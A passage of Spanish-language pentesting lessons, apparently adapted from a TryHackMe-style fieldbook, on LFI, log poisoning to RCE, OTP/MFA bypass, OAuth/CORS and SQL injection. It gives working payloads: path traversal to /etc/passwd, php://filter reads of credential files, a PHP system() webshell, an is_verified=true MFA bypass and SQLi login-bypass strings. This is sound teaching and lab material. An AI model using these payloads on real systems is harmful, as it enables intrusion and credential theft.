1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Inspeccionar claims, algoritmo, expiracion y validacion de tokens JWT. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(jwt-security\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Local File Inclusion (LFI)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Una LFI ocurre cuando una pagina construye la ruta de un fichero a incluir usando un valor que viene del usuario (típicamente un parametro como `?page=`), sin comprobar que ese valor sea uno de los permitidos. El servidor entonces lee y a veces ejecuta el fichero que tu le pidas, no el que el programador esperaba.

El codigo hace algo como `include($_GET['page'].'.php')`. El programador asume que page siempre sera 'home' o 'about', pero nada lo obliga. Si metes `../../../../etc/passwd`, la funcion de inclusion resuelve esa ruta relativa y sirve el fichero. La causa raiz es confiar en la entrada del usuario para decidir que fichero abrir.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Sospecha LFI en cualquier parametro que parezca nombrar una vista, una plantilla, un idioma o un documento: page, file, view, template, lang, doc, include. Sobre todo si el valor aparece reflejado en la URL y el contenido de la pagina cambia segun ese valor.

Cómo identificarla

- Un parametro cuyo valor parece un nombre de fichero o de pagina (`?page=home`, `?file=report`).
- La respuesta cambia de forma coherente al pedir rutas: `../` te acerca a la raiz, un fichero inexistente da un error de include con la ruta.
- Mensajes de error de PHP que filtran rutas absolutas del servidor (failed to open stream).
- Puedes leer `/etc/passwd` (Linux) o `C:\Windows\win.ini` (Windows) via el parametro.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Pide `/etc/passwd` con suficientes `../` (o su ruta absoluta si el include no es relativo).

Evidencia esperada: Lineas que empiezan por `root:x:0:0` en la respuesta. Un error de include con una ruta absoluta tambien cuenta como confirmacion parcial.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -s '$URL/?page=../../../../etc/passwd'
```

Objetivo y contexto: Prueba de lectura con un fichero que siempre existe. Los ../ de sobra suben hasta la raíz aunque no sepas la profundidad real del script.

Resultado esperado: Líneas root:x:0:0. Si aparecen, hay LFI confirmada. Un error de include con una ruta absoluta también es útil: te dice donde estás en el disco.

Capa 2: prueba documentada

```
curl -s '$URL/?page=php://filter/convert.base64-encode/resource=config'
```

Objetivo y contexto: Si el código añade .php y ejecuta el fichero, el wrapper php://filter te deja leer el FUENTE en base64 sin que se ejecute. Así lees configs con credenciales.

Resultado esperado: Un blob en base64: decodifícalo (base64 -d) para ver el código PHP. Busca ahí credenciales de BD, claves de API y rutas a otros ficheros jugosos.

Anatomía de los payloads

La primera prueba es `curl -s '$URL/?page=../../../../etc/passwd'`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Líneas que empiezan por root:x:0:0 en la respuesta. Un error de include con una ruta absoluta también cuenta como confirmación parcial.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Confirma la lectura con un fichero que siempre existe: pide /etc/passwd con suficientes ../ para llegar a la raíz.
- Si el código añade una extensión (.php), usa un PHP wrapper para leer el fuente en base64 sin que se ejecute, o busca truncar la extensión.

- Mapea que mas puedes leer: config con credenciales, claves SSH, logs. Cada fichero legible es una pista para la siguiente fase.
- Si controlas el contenido de algun fichero que el servidor luego incluye (un log, una sesion, un upload), la LFI se convierte en ejecucion: mira `lfi-a-rce`.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- El parametro no cambia el contenido de la pagina aunque le mandes `../` o rutas absolutas.
- La app usa una lista blanca de vistas validas y rechaza cualquier valor fuera de ella.
- El framework normaliza/sanea la ruta antes de tocar el filesystem (basename, whitelist).
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.

4. Propón un control negativo y una mitigación causal.

Resumen

La web incluye un fichero cuyo nombre controlas tu; si no lo valida, lees ficheros del servidor. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y precondiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook](#) (lfi)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

De LFI a ejecucion (RCE)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Es el salto de 'puedo leer' a 'puedo ejecutar'. Una lfi por si sola solo lee, pero si consigues que el fichero incluido contenga código PHP que tu has metido antes, ese código se ejecuta con los permisos del servidor web y obtienes ejecución remota de comandos.

include no solo lee: interpreta PHP. Si logras escribir `<?php system($_GET['c']); ?>` en algún sitio del servidor y luego apuntas la LFI a ese sitio, el include ejecuta tu payload. Los sitios clásicos donde puedes 'inyectar' ese contenido son ficheros que el servidor escribe con datos tuyos: logs de acceso, ficheros de sesión, cabeceras guardadas o subidas de fichero mal filtradas.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando ya confirmaste lectura con LFI y además existe algún fichero cuyo contenido puedas influir: el User-Agent acaba en un access.log legible, hay ficheros de sesión en /var/lib/php, o hay un formulario de subida. Sin un punto de inyección controlable, la LFI se queda en lectura.

Cómo identificarla

- Puedes leer un log (access.log, auth.log) vía la LFI: el log refleja datos que tu envías, como el User-Agent.
- Existe una subida de ficheros que no valida bien la extensión o el contenido.
- Puedes fijar el valor de una cookie de sesión y localizar su fichero en disco.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Manda un User-Agent con PHP mínimo (`<?php system($_GET['c']); ?>`) y luego incluye el access.log con `?c=id`.

Evidencia esperada: La salida de id aparece incrustada entre las líneas del log. Eso confirma ejecución, no solo lectura.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -s '$URL/?page=../../../../../../var/log/apache2/access.log&c=id'
```

Objetivo y contexto: Log poisoning: antes mandas PHP en tu User-Agent (queda escrito en el access.log) y ahora incluyes ese log vía la LFI. El servidor interpreta tu PHP y ejecuta el comando de ?c=.

Resultado esperado: La salida de id incrustada entre las líneas del log confirma ejecución. Fíjate en el usuario (www-data): es con quien tendrás la shell al escalar a reverse shell.

Anatomía de los payloads

La primera prueba es `curl -s '$URL/?page=../../../../../../var/log/apache2/access.log&c=id'`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

La salida de id aparece incrustada entre las líneas del log. Eso confirma ejecución, no solo lectura.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Elige el vector de inyección: log poisoning (mandas PHP en el User-Agent y lo ejecutas incluyendo el log), sesión, o subida.
- Inyecta un payload mínimo que ejecute un comando parametrizado, y confirma con id o whoami que se ejecuta.
- Convierte la ejecución de un comando en una shell interactiva: lanza una reverse shell (reverse-vs-bind) y estabilízala (tty-stabilization).
- Con shell ya dentro, cambia de fase: orientate y busca escalada (privesc-modelo). Los comandos concretos están en la sección de práctica (ver comandos).

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- No hay ningún fichero en el servidor cuyo contenido controles (logs no legibles, sin uploads, sin sesiones en disco).

- El servidor no interpreta PHP en el fichero incluido (p.ej. solo lo muestra como texto).
- open_basedir u otra restriccion impide llegar a la ruta del fichero envenenado.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Leer ficheros no es el final: si logras que el servidor incluya contenido que tu controlas, ejecutas código. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.

2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- Concepto fuente de THM Fieldbook (lfi-a-rce)
- Referencia técnica externa

Navegación

Anterior: Construcción de payloads. Índice: curso. Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Bypass de OTP/MFA por manipulacion de parametros

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

El segundo factor (OTP, código por email/SMS) debe verificarlo y recordarlo EL SERVIDOR. El bypass aparece cuando el backend acepta del cliente una señal de 'ya verificado' (un campo `is_verified`, `verified`, `mfa_passed`, un paso de estado) y la respeta aunque el OTP sea incorrecto. Es `parameter tampering` aplicado a un control de seguridad: `ver client-side-controls`.

El desarrollador reutiliza un formulario o un JSON donde el estado de verificación viaja junto a los datos y confía en el. Como el cliente controla todo lo que envía, puede poner `is_verified=true`. La causa raíz es mantener el estado de seguridad en el cliente en vez de derivarlo en el servidor tras comprobar el OTP.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

En cualquier paso de 2FA/OTP tras un login válido: una pantalla de 'introduce el código', un endpoint `verify_otp`, un formulario con campos ocultos de estado. Intercepta la petición y mira que campos viajan además del propio código.

Cómo identificarla

- La petición de OTP incluye, además del código, un campo como `is_verified`, `verified`, `status` o `step`.
- Campos ocultos de estado de verificación en el HTML del formulario.
- No hay `rate limiting` ni invalidación del código tras varios intentos.

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Envía el OTP (aunque sea incorrecto) añadiendo un campo de estado tipo `is_verified=true` en el cuerpo y comprueba si te deja pasar.

Evidencia esperada: Accedes al recurso protegido (dashboard) sin un OTP válido, porque el servidor aceptó tu flag de verificación.

Construcción progresiva del payload

1. Reproduce una entrada válida.
2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -s -b cookies.txt -F 'otp=000000' -F 'is_verified=true' "$URL/verify_otp.php"
```

Objetivo y contexto: Envía el OTP (incorrecto a proposito) anadiendo el campo de estado como seccion multipart (-F). Si el servidor confia en is_verified, pasa el 2FA sin el codigo real.

Resultado esperado: Una redireccion o acceso al dashboard pese al OTP invalido = bypass confirmado. Si exige el codigo correcto pese al campo, el estado se valida server-side.

Anatomía de los payloads

La primera prueba es `curl -s -b cookies.txt -F 'otp=000000' -F 'is_verified=true' "$URL/verify_otp.php"`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Accedes al recurso protegido (dashboard) sin un OTP valido, porque el servidor acepto tu flag de verificacion.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Llega al paso de OTP con una sesion valida y captura la peticion de verificacion.
- Localiza campos de estado ademas del codigo; si el cuerpo es multipart/form-data, cada campo va como una seccion propia (un parametro anadido como cabecera HTTP NO aparece en \$_POST).
- Reenvía el OTP con is_verified=true (o el nombre que veas) y observa si concede acceso.
- Si funciona, documenta que el estado de verificacion se confiaba al cliente; guarda la cookie de sesion para el siguiente paso.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- El servidor recalcula la verificacion en cada peticion contra su propio estado y no lee ninguna flag de verificacion del cliente.

- El OTP se valida server-side, es de un solo uso, caduca y esta atado a usuario+sesion, sin ningun parametro de estado manipulable.
- Ejecutar la prueba sin adaptar variables ni versión.
- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

El servidor confía en un dato que envía el cliente (is_verified=true) para dar por superado el 2FA; tu decides el estado de una comprobación que debería calcular solo el servidor. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y preconditiones.

2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(mfa-otp-bypass\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

OAuth, OIDC y CORS

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

OAuth delega autorización y OIDC añade identidad sobre OAuth. CORS decide que origen puede leer respuestas desde el navegador; no sustituye los controles del servidor.

Un `redirect_uri` flexible, un `state` ausente o un CORS que refleja cualquier Origen puede filtrar tokens o permitir acciones desde un origen atacante.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

Cuando ves `/authorize`, `/token`, `.well-known/openid-configuration`, `access_token` en navegador o cabeceras `Access-Control-Allow-Origin`.

Cómo identificarla

- `redirect_uri`
- `state`
- `code_challenge`
- `issuer`
- `Access-Control-Allow-Origin`
- `credentials: true`

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Compara `redirect_uri`, `state`, PKCE, `issuer/audience` y respuesta CORS con orígenes permitidos y no permitidos.

Evidencia esperada: Tienes una matriz de origen, token y recurso que demuestra o descarta fuga y autorización rota.

Construcción progresiva del payload

1. Reproduce una entrada válida.

2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

```
curl -sS $URL/.well-known/openid-configuration
```

Objetivo y contexto: Obtiene issuer, endpoints y capacidades declaradas por OIDC.

Resultado esperado: JSON de discovery con `authorization_endpoint` y `token_endpoint`.

Capa 2: prueba documentada

```
curl -i -H 'Origin: https://attacker.example' $URL/api/me
```

Objetivo y contexto: Comprueba si un origen no confiable recibe cabeceras CORS permisivas.

Resultado esperado: `Access-Control-Allow-Origin` y `Allow-Credentials` para comparar.

Anatomía de los payloads

La primera prueba es `curl -sS $URL/.well-known/openid-configuration`. Separa sus delimitadores, operadores, opciones, operandos y variables; algunos elementos no estarán presentes según el contexto. Las comillas, barras y separadores pertenecen a una capa concreta. Usa la explicación de cada capa para determinar qué símbolo altera sintaxis y cuál transporta datos.

Variaciones según el contexto

No traslades una prueba entre sistemas operativos, motores, frameworks o versiones sin revisar sintaxis y comportamiento. Conserva la primitiva y vuelve a serializarla para el parser real.

Filtros y bypasses

No existe un bypass universal. Registra la forma enviada, la forma decodificada, la comparación, la normalización y la forma consumida. Una adaptación es válida solo si demuestra una discrepancia concreta; si la validación ocurre sobre la forma canónica y expresa la propiedad correcta, la variante no debe funcionar.

Evidencias de confirmación

Tienes una matriz de origen, token y recurso que demuestra o descarta fuga y autorización rota.

Usa además una entrada inocua y un control negativo. No confundas reflexión, error genérico o demora aislada con confirmación.

Escalado de impacto

- Descubre metadata OIDC.
- Valida state, PKCE y redirect exacto.
- Prueba CORS desde origen controlado.
- Comprueba permisos del token en cada recurso.

Amplía únicamente dentro del laboratorio y cuando cada salto aporte una capacidad nueva demostrable.

Errores frecuentes

- No hay flujo OAuth/OIDC ni endpoints de autorización.
- La prueba se limita a una API server-to-server sin navegador y sin CORS.
- Ejecutar la prueba sin adaptar variables ni versión.

- Cambiar varias capas a la vez.
- Omitir el control negativo o no guardar evidencia.

Diagnóstico de payloads fallidos

Síntoma	Posible causa	Prueba de diagnóstico	Adaptación
Rechazo inmediato	Formato o precondition	Repetir entrada válida	Corregir transporte
Sin diferencia	Entrada ignorada o canal ciego	Marcador y control negativo	Buscar evidencia adecuada
Error del componente	Contexto o versión	Reducir a prueba mínima	Consultar manual detectado
Resultado parcial	Permisos/restricción	Comprobar identidad y alcance	Reducir primitiva

Mitigaciones

Eliminar el dato controlable del sink cuando sea posible; usar APIs estructuradas, allowlists sobre valores canónicos, privilegio mínimo, autorización en servidor y registros que permitan detectar abuso. La defensa concreta debe impedir la causa explicada en Fundamentos técnicos.

Relación con pentesting y certificaciones

Se espera reconocer la señal, justificar la prueba elegida, adaptar variables, interpretar salida y documentar impacto y mitigación. La puntuación debe premiar razonamiento y evidencia, no memoria literal.

Caso guiado

Parte de una señal de la lista anterior. Escribe observación e hipótesis, ejecuta la prueba mínima, compara con el control y clasifica el resultado como no confirmado, indicio o confirmación. Solo entonces sigue los pasos de escalado relevantes.

Caso de adaptación

Si la prueba básica falla, no cambies caracteres al azar. Comprueba primero transporte, parser, versión, permisos y canal de evidencia. Diseña una segunda prueba que discrimine entre las dos causas más probables.

Ejercicios

1. Señala source, transformaciones y sink en el caso guiado.
2. Explica qué evidencia refutaría la hipótesis.
3. Descompón la primera prueba documentada por opciones y argumentos.
4. Propón un control negativo y una mitigación causal.

Resumen

Auditar redirecciones, tokens y políticas CORS sin confundir autenticación con autorización. La técnica queda confirmada solo cuando una prueba mínima produce la evidencia prevista y descarta explicaciones alternativas.

Chuleta operativa

1. Confirmar alcance y condiciones.
2. Identificar entrada, componente y permisos.
3. Ejecutar prueba mínima y control.
4. Interpretar señal antes de escalar.
5. Guardar evidencia y mitigación.

Referencias

- [Concepto fuente de THM Fieldbook \(oauth-oidc-cors\)](#)
- [Referencia técnica externa](#)

Navegación

Anterior: [Construcción de payloads](#). Índice: [curso](#). Ejercicios y chuleta se enlazarán desde la matriz de trazabilidad.

Inyeccion SQL (SQLi)

Objetivos de aprendizaje

Identificar la superficie, explicar la causa, diseñar una confirmación mínima, interpretar evidencia y proponer una mitigación causal.

Prerrequisitos

Flujo source-transformación-validación-sink, parsers, permisos y metodología de hipótesis. Revisa los prerrequisitos declarados en los metadatos.

Fundamentos técnicos

Una SQLi ocurre cuando la aplicación construye una consulta SQL concatenando texto que viene del usuario. Como el motor no distingue tu 'dato' del 'codigo' de la consulta, puedes cerrar la cadena original e inyectar tu propia lógica: saltarte un login, volcar tablas o, según el motor, ejecutar comandos.

El código hace query = "SELECT * FROM users WHERE name='" + input + "'". Si tu input es ' OR '1'='1', la consulta final siempre es verdadera. La causa raíz es la misma que en lfi: mezclar datos no confiables con la instrucción, en vez de usar consultas parametrizadas que separan ambos.

Modelo mental

Entrada controlada -> transformaciones -> validación -> componente final
-> sink -> efecto observable -> decisión

El paso crítico es demostrar qué componente consume el valor y con qué identidad o privilegios.

Superficie de ataque

En cualquier campo que alimente una búsqueda, un login, un filtro o un id: formularios, parámetros de URL, cabeceras. Sospecha si al meter una comilla la aplicación se rompe o cambia de comportamiento.

Cómo identificarla

- Una comilla simple ' provoca un error de SQL o una página en blanco/500.
- Payloads lógicos cambian el resultado: ' OR '1'='1 devuelve más filas o entra sin password.
- La respuesta tarda distinto con un payload de tiempo (blind basada en tiempo).
- Diferencias sutiles entre una condición verdadera y una falsa (blind booleana).

Preguntas que debo hacerme

- ¿Qué dato controlo exactamente y en qué formato viaja?
- ¿Qué transformaciones y normalizaciones ocurren antes del sink?
- ¿Qué identidad ejecuta la operación y qué permisos tiene?
- ¿Qué otra explicación produciría la misma señal?
- ¿Cuál es la prueba de menor riesgo que separa ambas explicaciones?

Prueba mínima

Añade una comilla simple ' al parámetro y compara la respuesta con la petición normal.

Evidencia esperada: Un error de sintaxis SQL, una página 500, o un cambio de comportamiento (más filas, login sin password) frente a la petición sin comilla.

Construcción progresiva del payload

1. Reproduce una entrada válida.

2. Aísla un único valor controlable.
3. Define la primitiva mínima indicada por la fuente.
4. Predice resultado y control negativo.
5. Aplica una sola adaptación cuando haya evidencia de restricción.
6. Confirma de forma reproducible antes de ampliar impacto.

Capa 1: prueba documentada

'

Objetivo y contexto: Prueba de detección: una sola comilla rompe la sintaxis si el campo es inyectable.

Resultado esperado: Un error de SQL o una página 500 = probable SQLi. Si no cambia nada, prueba comilla doble o la versión numérica (sin comillas).

Capa 2: prueba documentada

' OR '1'='1

Objetivo y contexto: Bypass de login clásico: cierra la cadena y fuerza una condición siempre verdadera.

Resultado esperado: Entrar sin credenciales válidas, o la búsqueda devuelve todas las filas.

Capa 3: prueba documentada

' OR '1'='1'-- -

Objetivo y contexto: Igual que el anterior pero comenta el resto de la consulta: '-- -' (con espacio final) ignora lo que sobra, útil si queda una comilla suelta.

Resultado esperado: Login aceptado; si antes fallaba por sintaxis, el comentario lo arregla.

Capa 4: prueba documentada

admin'-- -

Objetivo y contexto: Entra como un usuario concreto (admin) comentando la comprobación de la contraseña.

Resultado esperado: Sesión iniciada como admin sin saber su contraseña.

Capa 5: prueba documentada

") OR ("1"="1

Objetivo y contexto: Variante para consultas que envuelven el valor en comillas dobles y parentesis.

Resultado esperado: Úsala cuando la comilla simple no rompe la página pero la doble sí.

Capa 6: prueba documentada

' ORDER BY 1-- -

